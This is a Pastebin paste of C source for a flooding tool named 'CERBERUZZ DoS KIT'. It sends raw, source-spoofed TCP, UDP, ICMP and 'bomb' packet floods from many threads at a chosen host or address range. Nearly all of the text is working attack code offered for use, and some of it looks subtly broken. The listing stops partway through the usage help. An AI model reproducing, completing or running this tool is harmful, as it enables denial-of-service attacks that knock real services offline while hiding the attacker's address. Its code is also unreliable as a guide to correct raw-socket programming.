Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
- */
- #ifndef _BSD_SOURCE
- #define _BSD_SOURCE
- #endif
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <netdb.h>
- #include <sys/types.h>
- #include <netinet/in_systm.h>
- #include <sys/socket.h>
- #include <string.h>
- #include <time.h>
- #include <signal.h>
- #ifndef __USE_BSD
- #define __USE_BSD
- #endif
- #ifndef __FAVOR_BSD
- #define __FAVOR_BSD
- #endif
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <netinet/ip6.h>
- #include <netinet/ip_icmp.h>
- #include <netinet/icmp6.h>
- #include <netinet/tcp.h>
- #include <netinet/udp.h>
- #include <arpa/inet.h>
- #include <pthread.h>
- #define INET_ADDR 16
- #define INET6_ADDR 46
- #define TCP_FIN 1
- #define TCP_SYN 2
- #define TCP_RST 4
- #define TCP_PSH 8
- #define TCP_ACK 16
- #define TCP_URG 32
- #define TCP_ECE 64
- #define TCP_CWR 256
- #define TCP_NOF 512
- #define TCP_FRG 512
- #define TCP_PAN 512
- #define TCP_BMB 2048
- #define UDP_BMB 2048
- #define RAW_BMB 2048
- #define UDP_CFF 8192
- #define ICMP_ECHO_G 16384
- #define ICMP_HDRLEN 8
- #define TH_FIN 0x01
- #define TH_SYN 0x02
- #define TH_RST 0x04
- #define TH_PUSH 0x08
- #define TH_ACK 0x10
- #define TH_URG 0x20
- #define TH_ECE 0x40
- #define TH_CWR 0x80
- /* TH_NOF */
- #define TH_NOF 0x0
- #ifdef LINUX
- #define FIX(x) htons(x)
- #else
- #define FIX(x) (x)
- #endif
- #define MAX_THREADS 32768
- pthread_t attack_thread[MAX_THREADS];
- struct thread_data {
- int initialized;// valid thread?
- int flag4, flag6;// v4 or v6
- int start;
- int packets;
- unsigned int timeout;// attack timeout
- int thread;
- unsigned int bombsize;// size of connect bomb
- unsigned int datasize;// size of tcp data after header
- unsigned int window_size; // had to add this in .. wwas not defined with linux boxes
- int socket;// rawsock
- int a_flags;// a_flags
- struct sockaddr_in destination4;
- struct sockaddr_in6 destination6;
- u_long dstaddr;
- u_char th_flags;
- int d_lport;
- int d_hport;
- int s_lport;
- int s_hport;
- char *src_class;
- char *dst_class;
- char SrcIP4[INET_ADDR];
- char SrcIP6[INET6_ADDR];
- char DestIP4[INET_ADDR];
- char DestIP6[INET6_ADDR];
- };
- struct thread_data thread_data_array[MAX_THREADS];
- void *send_tcp(void *arg);
- void *send_pan(void *arg);
- void *send_udp(void *arg);
- void *send_icmp(void *arg);
- void *send_bomb(void *arg);
- void handle_exit();
- unsigned short in_cksum(unsigned short *addr, int len);
- unsigned short xchecksum(unsigned short *buffer, int size);
- char *class2ip(const char *class);
- char *class2ip6(const char *class);
- void inject(struct ip *ip, u_char p, u_char len);
- void inject6(struct ip6_hdr *ip, u_char p, u_char len);
- void pfpacket4(struct ip *ip, u_char p, u_char len);
- void pfpacket6(struct ip6_hdr *ip, u_char p, u_char len);
- u_long lookup(const char *host);
- int main(int argc, char *argv[]);
- struct pseudo_hdr {
- u_long saddr, daddr; /* source and dest address */
- u_char mbz, ptcl; /* zero and protocol */
- u_short tcpl; /* tcp length */
- };
- struct checksum {
- struct pseudo_hdr pseudo;
- struct tcphdr tcp;
- //struct panhdr panhdr;
- };
- void handle_exit() {
- int packets;
- packets = thread_data_array[1].packets + thread_data_array[2].packets + thread_data_array[4].packets + thread_data_array[8].packets + thread_data_array[16].packets +
- thread_data_array[32].packets + thread_data_array[64].packets + thread_data_array[128].packets + thread_data_array[256].packets + thread_data_array[512].packets +
- thread_data_array[1024].packets + thread_data_array[2048].packets + thread_data_array[4096].packets + thread_data_array[8192].packets + thread_data_array[16384].packets;
- printf ("Packeting completed, %d total, %d seconds, %d pps\n", packets, (int) time (NULL) - thread_data_array[0].start, packets / ((int) time (NULL) -
- thread_data_array[0].start));
- exit (0);
- }
- unsigned short in_cksum(unsigned short *addr, int len) {
- int nleft = len;
- int sum = 0;
- unsigned short *w = addr;
- unsigned short answer = 0;
- while (nleft > 1) {
- sum += *w++;
- nleft -= 2;
- }
- if (nleft == 1) {
- *(unsigned char *) (&answer) = *(unsigned char *)w;
- sum += answer;
- }
- sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
- sum += (sum >> 16); /* add carry */
- answer = ~sum; /* truncate to 16 bits */
- return answer;
- }
- unsigned short xchecksum(unsigned short *buffer, int size) { /* the beast i shulda kept to myself!! */
- unsigned int sum = 0;
- __asm__ __volatile__(
- "movl (%1), %0\n"
- "subl $4, %2\n"
- "jbe 2f\n"
- "addl 4(%1), %0\n"
- "adcl 8(%1), %0\n"
- "adcl 12(%1), %0\n"
- "1:\n"
- "adcl 16(%1), %0\n"
- "lea 4(%1), %1\n"
- "decl %2\n"
- "jne 1b\n"
- "adcl $0, %0\n"
- "movl %0, %2\n"
- "shrl $16, %0\n"
- "addw %w2, %w0\n"
- "adcl $0, %0\n"
- "notl %0\n"
- "2:\n"
- : "=r" (sum), "=r" (buffer), "=r" (size)
- : "1" (buffer), "2" (size)
- );
- return(sum);
- }
- char *src_class, *dst_class = NULL;
- char *class2ip(const char *class) { // little more realistic than how it was…shitty 255.* ips look like a joke ;p better now..
- static char ip[INET_ADDR];
- int i, j;
- for (i = 0, j = 0; class[i] != '\0'; ++i)
- if (class[i] == '.')
- ++j;
- switch (j) {
- case 0:
- sprintf(ip, "%s.%d.%d.%d", class, (int) random() % 244+1, (int) random() % 188+1, (int) random() % 90+1);
- break;
- case 1:
- sprintf(ip, "%s.%d.%d", class, (int) random() % 220+1, (int) random() % 124+1);
- break;
- case 2:
- sprintf(ip, "%s.%d", class, (int) random() % 140+1);
- break;
- default: strncpy(ip, class, INET_ADDR);
- break;
- }
- return ip;
- }
- char *class2ip6(const char *class) {
- static char ip[INET6_ADDR];
- uint16_t n;
- int x, y;
- for (x = 0, y = 0; class[x] != '\0'; ++x)
- if (class[x] == ':')
- ++y;
- int i;
- for (i = 0; i < 7; i++) {
- char hex[3][i];
- n = mrand48();
- n = rand();
- FILE * f = fopen("/dev/urandom", "rb");
- fread(&n, sizeof(uint16_t), 1, f);
- sprintf(hex[i], "%04X", n);
- if(i==0)
- strcpy(ip, class);
- strcat(ip, hex[i]);
- if(i < 6)
- strcat(ip, "2001:");
- }
- return ip;
- }
- void inject(struct ip *ip, u_char p, u_char len) {
- ip->ip_hl = 5;
- ip->ip_v = 4;
- ip->ip_p = p;
- ip->ip_tos = 0x08;
- ip->ip_id = random();
- ip->ip_len = len;
- ip->ip_off = 0;
- ip->ip_ttl = 128;
- ip->ip_dst.s_addr = thread_data_array[0].dst_class != NULL ? inet_addr(class2ip(thread_data_array[0].dst_class)) : thread_data_array[0].dstaddr;
- ip->ip_src.s_addr = thread_data_array[0].src_class != NULL ? inet_addr(class2ip(thread_data_array[0].src_class)) : random();
- thread_data_array[0].destination4.sin_addr.s_addr = ip->ip_dst.s_addr;
- }
- void inject6(struct ip6_hdr *ip, u_char p, u_char len) {
- ip->ip6_ctlun.ip6_un1.ip6_un1_flow= htonl ((6 << 28) | (0 << 20) | 0);
- ip->ip6_ctlun.ip6_un1.ip6_un1_plen = htons(8 + len);
- ip->ip6_ctlun.ip6_un1.ip6_un1_nxt= p;
- ip->ip6_ctlun.ip6_un1.ip6_un1_hlim= 128;
- inet_pton(AF_INET6, thread_data_array[0].DestIP6, &ip->ip6_dst);
- inet_pton(AF_INET6, thread_data_array[0].src_class, &ip->ip6_src);
- thread_data_array[0].destination6.sin6_addr = ip->ip6_dst;
- }
- /* for pan sack attaK */
- void pfpacket4(struct ip *ip, u_char p, u_char len) {
- ip->ip_hl = 5;
- ip->ip_v = 4;
- ip->ip_p = p;
- ip->ip_tos = 0x00;
- ip->ip_id = random();
- ip->ip_len = len;
- ip->ip_off = 0;
- ip->ip_ttl = 255;
- ip->ip_dst.s_addr = thread_data_array[0].dst_class != NULL ? inet_addr(class2ip(thread_data_array[0].dst_class)) : thread_data_array[0].dstaddr;
- ip->ip_src.s_addr = thread_data_array[0].src_class != NULL ? inet_addr(class2ip(thread_data_array[0].src_class)) : random();
- thread_data_array[0].destination4.sin_addr.s_addr = ip->ip_dst.s_addr;
- }
- void pfpacket6(struct ip6_hdr *ip, u_char p, u_char len) {
- ip->ip6_ctlun.ip6_un1.ip6_un1_flow= htonl ((6 << 28) | (0 << 20) | 0);
- ip->ip6_ctlun.ip6_un1.ip6_un1_plen = htons(8 + len);
- ip->ip6_ctlun.ip6_un1.ip6_un1_nxt= p;
- ip->ip6_ctlun.ip6_un1.ip6_un1_hlim= 255;
- inet_pton(PF_PACKET, thread_data_array[0].DestIP6, &ip->ip6_dst); /* some packet magic - yes this is right ONLY for one attak */
- inet_pton(PF_PACKET, thread_data_array[0].src_class, &ip->ip6_src);
- thread_data_array[0].destination6.sin6_addr = ip->ip6_dst;
- }
- u_long lookup(const char *host) {
- struct hostent *hp;
- if ( (hp = gethostbyname(host)) == NULL) {
- perror("gethostbyname");
- exit(-1);
- }
- return *(u_long *)hp->h_addr;
- }
- void *send_tcp(void* arg) {
- struct thread_data *param2 = arg;
- struct checksum checksum;
- struct packet {
- struct ip ip;
- struct tcphdr tcp;
- char buf[param2->datasize];
- } packet;
- struct packet6 {
- struct ip6_hdr ip;
- struct tcphdr tcp;
- char buf[param2->datasize];
- } packet6;
- printf("[%d] Acquired socket: %d\n", param2->thread, param2->socket);
- int i;
- for (i = sizeof(packet) + 1; i < (param2->datasize); i++) {
- packet.buf[i] = '\x00';
- }
- signal(SIGALRM, handle_exit);
- alarm(thread_data_array[0].timeout);
- if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
- do {
- memset(&packet, 0, sizeof packet);
- inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
- packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
- checksum.pseudo.daddr = thread_data_array[0].dstaddr;
- checksum.pseudo.mbz = 0;
- checksum.pseudo.ptcl = IPPROTO_RAW;
- checksum.pseudo.tcpl = sizeof(struct tcphdr);
- checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
- packet.tcp.th_win = htons(65535);
- packet.tcp.th_seq = random();
- if (param2->th_flags == TCP_ACK)
- packet.tcp.th_ack = 1;
- else
- packet.tcp.th_ack = 0;
- packet.tcp.th_flags = param2->th_flags;
- packet.tcp.th_off = 5;
- if (param2->th_flags == TCP_URG)
- packet.tcp.th_urp = 1;
- else
- packet.tcp.th_urp = 0;
- packet.tcp.th_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
- thread_data_array[0].s_lport + 1)));
- packet.tcp.th_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
- thread_data_array[0].d_lport + 1)));
- checksum.tcp = packet.tcp;
- packet.tcp.th_sum = in_cksum((void *)&checksum, sizeof(checksum));
- param2->packets++;
- } while (sendto(param2->socket, &packet.tcp, (sizeof packet),0, (struct sockaddr *)&thread_data_array[0].destination4,sizeof(thread_data_array[0].destination4)) );
- }
- if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
- do {
- memset(&packet6, 0, sizeof packet6);
- inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
- checksum.pseudo.daddr = thread_data_array[0].dstaddr;
- checksum.pseudo.mbz = 0;
- checksum.pseudo.ptcl = IPPROTO_TCP;
- checksum.pseudo.tcpl = sizeof(struct tcphdr);
- packet6.tcp.th_win = htons(65535);
- packet6.tcp.th_seq = random();
- if (param2->th_flags == TCP_ACK)
- packet6.tcp.th_ack = 1;
- else
- packet6.tcp.th_ack = 0;
- packet6.tcp.th_flags = param2->th_flags;
- packet6.tcp.th_off = 5;
- if (param2->th_flags == TCP_URG)
- packet6.tcp.th_urp = 1;
- else
- packet6.tcp.th_urp = 0;
- packet6.tcp.th_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
- thread_data_array[0].s_lport + 1)));
- packet6.tcp.th_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
- thread_data_array[0].d_lport + 1)));
- checksum.tcp = packet.tcp;
- packet.tcp.th_sum = in_cksum((void *)&checksum, sizeof(checksum));
- param2->packets++;
- } while (sendto(param2->socket, &packet6.tcp, (sizeof packet6), 0, (struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)) );
- }
- return 0;
- }
- struct panhdr {
- u_int16_t th_sport;
- u_int16_t th_dport;
- u_int32_t th_seq;
- #if __BYTE_ORDER == __LITTLE_ENDIAN
- u_int8_t th_x2:4; /* (unused) */
- u_int8_t th_off:5; /* data offset */
- #endif
- #if __BYTE_ORDER == __BIG_ENDIAN
- u_int8_t th_off:5; /* data offset */
- u_int8_t th_x2:4; /* (unused) */
- #endif
- u_int8_t th_flags;
- u_int16_t th_win;
- u_int16_t th_sum; /* checksum */
- u_int32_t th_ack;
- u_int16_t th_syn;
- u_int16_t th_rst;
- u_int16_t th_fin;
- u_int16_t th_urp;
- };
- struct pan_option_mss {
- uint8_t kind;
- uint8_t len;
- uint16_t mss;
- } __attribute__((packed));
- struct panhdr_mss {
- struct panhdr panhdr;
- struct pan_option_mss mss;
- };
- /* pan sack */
- void *send_pan(void* arg) {
- struct tcphdr *tcphdr = NULL;
- struct thread_data *param2 = arg;
- struct checksum checksum;
- struct packet {
- struct ip ip;
- struct panhdr tcp;
- } packet;
- struct packet6 {
- struct ip6_hdr ip;
- struct panhdr tcp;
- } packet6;
- printf("[%d] Acquired socket: %d\n", param2->thread, param2->socket);
- signal(SIGALRM, handle_exit);
- alarm(thread_data_array[0].timeout);
- if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
- do {
- memset(&packet, 0, sizeof packet);
- pfpacket4(&packet.ip, IPPROTO_RAW, FIX(sizeof packet));
- packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
- checksum.pseudo.daddr = thread_data_array[0].dstaddr;
- checksum.pseudo.mbz = 0;
- checksum.pseudo.ptcl = IPPROTO_RAW;
- checksum.pseudo.tcpl = sizeof(struct tcphdr);
- checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
- packet.tcp.th_win = htons(16768);
- packet.tcp.th_seq = random();
- packet.tcp.th_off = 5;
- if (param2->th_flags == TCP_ACK)
- packet.tcp.th_ack = 1;
- else
- packet.tcp.th_ack = 0;
- if (param2->th_flags == TCP_FIN)
- packet.tcp.th_fin = 1;
- else
- packet.tcp.th_fin = 0;
- if (param2->th_flags == TCP_RST)
- packet.tcp.th_rst = 1;
- else
- packet.tcp.th_rst = 0;
- packet.tcp.th_flags = param2->th_flags;
- packet.tcp.th_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
- thread_data_array[0].s_lport + 1)));
- packet.tcp.th_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
- thread_data_array[0].d_lport + 1)));
- //checksum.tcp = 0; //packet.tcp;
- packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
- param2->packets++;
- } while (sendto(param2->socket, &packet.tcp, (sizeof packet),0, (struct sockaddr *)&thread_data_array[0].destination4,sizeof(thread_data_array[0].destination4)));
- }
- if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
- do {
- memset(&packet6, 0, sizeof packet6);
- pfpacket6(&packet6.ip, IPPROTO_RAW, FIX(sizeof packet6));
- checksum.pseudo.daddr = thread_data_array[0].dstaddr;
- checksum.pseudo.mbz = 0;
- checksum.pseudo.ptcl = IPPROTO_RAW;
- checksum.pseudo.tcpl = sizeof(struct tcphdr);
- packet6.tcp.th_win = htons(16768);
- packet6.tcp.th_seq = random();
- packet6.tcp.th_off = 5;
- if(param2->th_flags == TCP_ACK)
- packet6.tcp.th_ack = 1;
- else
- packet6.tcp.th_ack = 0;
- if(param2->th_flags == TCP_FIN)
- packet6.tcp.th_fin = 1;
- else
- packet6.tcp.th_fin = 0;
- if(param2->th_flags == TCP_RST)
- packet6.tcp.th_rst = 1;
- else
- packet6.tcp.th_rst = 0;
- packet6.tcp.th_flags = param2->th_flags;
- packet6.tcp.th_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
- thread_data_array[0].s_lport + 1)));
- packet6.tcp.th_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
- thread_data_array[0].d_lport + 1)));
- //checksum.tcp = 0; //packet6.tcp;
- packet6.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
- param2->packets++;
- } while (sendto(param2->socket, &packet6.tcp, (sizeof packet6),0, (struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)));
- }
- return 0;
- }
- void *send_udp(void* arg) {
- struct thread_data *param2 = arg;
- struct packet {
- struct ip ip;
- struct udphdr udp;
- } packet;
- struct packet6 {
- struct ip6_hdr ip;
- struct udphdr udp;
- } packet6;
- printf("[%d] Acquired socket: %d\n", param2->thread, param2->socket);
- signal(SIGALRM, handle_exit);
- alarm(thread_data_array[0].timeout);
- if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
- do {
- memset(&packet, 0, sizeof packet);
- inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
- packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
- packet.udp.uh_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport
- ,thread_data_array[0].s_lport + 1)));
- packet.udp.uh_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
- thread_data_array[0].d_lport + 1)));
- packet.udp.uh_ulen = htons(sizeof packet.udp);
- packet.udp.uh_sum = 0;
- packet.udp.uh_sum = in_cksum((void *)&packet, sizeof(packet));
- param2->packets++;
- } while (sendto(param2->socket, &packet.udp, (sizeof packet), 0, (struct sockaddr *)&thread_data_array[0].destination4,sizeof(thread_data_array[0].destination4)));
- } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
- do {
- memset(&packet6, 0, sizeof packet6);
- inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
- packet6.udp.uh_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
- thread_data_array[0].s_lport + 1)));
- packet6.udp.uh_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
- thread_data_array[0].d_lport + 1)));
- packet6.udp.uh_ulen = htons(sizeof packet6.udp);
- packet6.udp.uh_sum = 0;
- packet6.udp.uh_sum = in_cksum((void *)&packet6, sizeof(packet6));
- param2->packets++;
- } while (sendto(param2->socket,&packet6.udp, (sizeof packet6),0,(struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)));
- }
- return 0;
- }
- void *send_icmp(void* arg) {
- struct thread_data *param2 = arg;
- struct packet {
- struct ip ip;
- struct icmp icmp;
- } packet;
- struct packet6 {
- struct ip6_hdr ip;
- struct icmp6_hdr icmp;
- } packet6;
- printf("[%d] Acquired socket: %d\n", param2->thread, param2->socket);
- signal(SIGALRM, handle_exit);
- alarm(thread_data_array[0].timeout);
- if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
- do {
- memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.icmp));
- inject(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
- packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet.ip));
- packet.icmp.icmp_type = ICMP_ECHO;
- packet.icmp.icmp_code = 0;
- packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
- packet.icmp.icmp_id = rand();
- packet.icmp.icmp_seq = rand();
- param2->packets++;
- } while (sendto(param2->socket, &packet.icmp, (sizeof packet), 0, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(thread_data_array[0].destination4)));
- } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
- do {
- memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.icmp));
- inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
- packet6.icmp.icmp6_type = ICMP6_ECHO_REQUEST;
- packet6.icmp.icmp6_code = 0;
- packet6.icmp.icmp6_cksum = 0;
- packet6.icmp.icmp6_cksum = in_cksum((void *)&packet6, sizeof(packet6));
- packet6.icmp.icmp6_id=rand();
- packet6.icmp.icmp6_seq=rand();
- param2->packets++;
- } while (sendto(param2->socket, &packet6.icmp, (sizeof packet6),0, (struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)));
- }
- return 0;
- }
- void *send_bomb(void* arg) {
- struct thread_data *param2 = arg;
- struct checksum checksum;
- struct packet {
- struct ip ip;
- struct tcphdr tcp;
- struct udphdr udp;
- char buf[param2->datasize];
- } packet;
- struct packet6 {
- struct ip6_hdr ip;
- struct tcphdr tcp;
- struct udphdr udp;
- char buf[param2->datasize];
- } packet6;
- if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
- connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(struct sockaddr_in));
- else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
- connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination6, sizeof(struct sockaddr_in6));
- printf("[%d] Acquired socket: %d\n", param2->thread, param2->socket);
- signal(SIGALRM, handle_exit);
- alarm(thread_data_array[0].timeout);
- if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
- do {
- if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB)
- memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.tcp)+param2->datasize);
- else if (param2->a_flags == UDP_BMB)
- memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.udp)+param2->datasize);
- if(param2->a_flags == TCP_BMB)
- inject(&packet.ip, IPPROTO_TCP, FIX(sizeof(packet)));
- else if(param2->a_flags == RAW_BMB)
- inject(&packet.ip, IPPROTO_IPV6, FIX(sizeof(packet)));
- else if(param2->a_flags == UDP_BMB)
- inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
- if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB) {
- packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
- checksum.pseudo.daddr= thread_data_array[0].dstaddr;
- checksum.pseudo.mbz = 0;
- if(param2->a_flags == TCP_BMB)
- checksum.pseudo.ptcl = IPPROTO_TCP;
- else if(param2->a_flags == RAW_BMB)
- checksum.pseudo.ptcl = IPPROTO_IPV6;
- checksum.pseudo.tcpl = sizeof(struct tcphdr)+param2->datasize;
- checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
- packet.tcp.th_win = thread_data_array[0].window_size == 0 ? htons(rand()%(1-65535)+1) : htons(thread_data_array[0].window_size);
- packet.tcp.th_seq = random();
- packet.tcp.th_off = 5;
- packet.tcp.th_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
- thread_data_array[0].s_lport + 1)));
- packet.tcp.th_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
- thread_data_array[0].d_lport + 1)));
- checksum.tcp = packet.tcp;
- packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
- } else if(param2->a_flags == UDP_BMB) {
- packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
- checksum.pseudo.ptcl = IPPROTO_UDP;
- checksum.pseudo.tcpl = sizeof(struct tcphdr)+param2->datasize;
- checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
- packet.udp.uh_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
- thread_data_array[0].s_lport + 1)));
- packet.udp.uh_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
- thread_data_array[0].d_lport + 1)));
- packet.udp.uh_ulen = htons(sizeof packet.udp)+param2->datasize;
- packet.udp.uh_sum = in_cksum((void *)&packet, sizeof(packet));
- }
- param2->packets++;
- //} while (sendto(param2->socket, &packet, (sizeof packet), 0, NULL, 0));
- //while (send(param2->socket, &packet, sizeof(packet), 0));
- } while (sendto(param2->socket, &packet.udp, (sizeof packet), 0, (struct sockaddr *)&thread_data_array[0].destination4,sizeof(thread_data_array[0].destination4)));
- } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
- do {
- if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB) {
- memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.tcp)+param2->datasize);
- if(param2->a_flags == TCP_BMB)
- inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof(packet6)));
- else if(param2->a_flags == RAW_BMB)
- inject6(&packet6.ip, IPPROTO_IPV6, FIX(sizeof(packet6)));
- checksum.pseudo.daddr = thread_data_array[0].dstaddr;
- checksum.pseudo.mbz = 0;
- if(param2->a_flags == TCP_BMB)
- checksum.pseudo.ptcl = IPPROTO_TCP;
- else if(param2->a_flags == RAW_BMB)
- checksum.pseudo.ptcl = IPPROTO_RAW;
- checksum.pseudo.tcpl = sizeof(struct tcphdr);
- packet6.tcp.th_win = thread_data_array[0].window_size == 0 ? htons(rand()%(1-65535)+1) : htons(thread_data_array[0].window_size);
- packet6.tcp.th_seq = random();
- packet6.tcp.th_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
- thread_data_array[0].s_lport + 1)));
- packet6.tcp.th_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
- thread_data_array[0].d_lport + 1)));
- } else if(param2->a_flags == UDP_BMB) {
- memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.udp)+param2->datasize);
- inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6.ip + sizeof packet6.udp));
- packet6.udp.uh_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
- thread_data_array[0].s_lport + 1)));
- packet6.udp.uh_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
- thread_data_array[0].d_lport + 1)));
- packet6.udp.uh_ulen = htons(sizeof packet6.udp);
- packet6.udp.uh_sum = in_cksum((void *)&packet6, sizeof(packet6));
- }
- param2->packets++;
- //} while (send(param2->socket, &packet6, sizeof(packet6), 0));
- } while (sendto(param2->socket, &packet6.udp, (sizeof packet6), 0, (struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)));
- }
- return 0;
- }
- const char *banner_name = " \e[1;37m(\e[0m\e[0;31mCERBERUZZ\e[0m\e[1;37m)\e[0m-\e[1;37mDoS\e[0m-\e[1;37m(\e[0m\e[0;31mKIT\e[0m\e[1;37m)\e[0m";
- const char *banner_types = " [\e[4mTCP\e[0m - \e[4mICMP\e[0m - \e[4mUDP\e[0m] - \e[4mBMB\e] [0m\n";
- const char *banner_version = " \e[4m[v1.3.3.7]\e[0m";
- static void usage(const char *argv0) {
- printf("%s \n", banner_name);
- printf("%s \n", banner_types);
- printf("%s \n\n", banner_version);
- printf(" -4 IPV4\n");
- printf(" -6 IPV6\n\n");
- printf(" -U UDP Attack [size(0-32)] \e[1;37m(\e[0m\e[0;31mRandom\e[0m\e[1;37m)\e[0m\n");
- printf(" -I ICMP Attack \e[1;37m(\e[0m\e[0;31mNo options\e[0m\e[1;37m)\e[0m\n\n");
- printf(" -T TCP Attack [type,size(0-208)] \e[1;37m[\e[0m0:FIN 1: SYN\e[1;37m]\e[0m\n");
- printf(" \e[1;37m[\e[0m2:RST 3:PUSH\e[1;37m]\e[0m\n");
- printf(" \e[1;37m[\e[0m4:ACK 5: URG\e[1;37m]\e[0m\n");
- printf(" \e[1;37m[\e[0m6:ECE 7: CWR\e[1;37m]\e[0m\n");
- printf(" \e[1;37m[\e[0m8:NOF 9:FRAG\e[1;37m]\e[0m\n\n");
- printf(" \e[1;37m[\e[0m10: TCP SYN-ACK PAN ATTACK\e[1;37m]\e[0m\n\n");
- printf(" -B BMB Attack [type,size] \e[1;37m[\e[0m0:TCP 1:UDP 2:RAW_IPV6\e[1;37m]\e[0m\n\n");
- printf(" -h Destination ip \e[1;37m(\e[0m\e[0;31mNo default\e[0m\e[1;37m)\e[0m\n");
- printf(" -d Destination class \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
- printf(" -s Source class/ip \e[1;37m(\e[m\e[0;31mRandom\e[0m\e[1;37m)\e[0m\n\n");
- printf(" -p Destination port range [start,end] \e[1;37m(\e[0m\e[0;31mRandom\e[0m\e[1;37m)\e[0m\n");
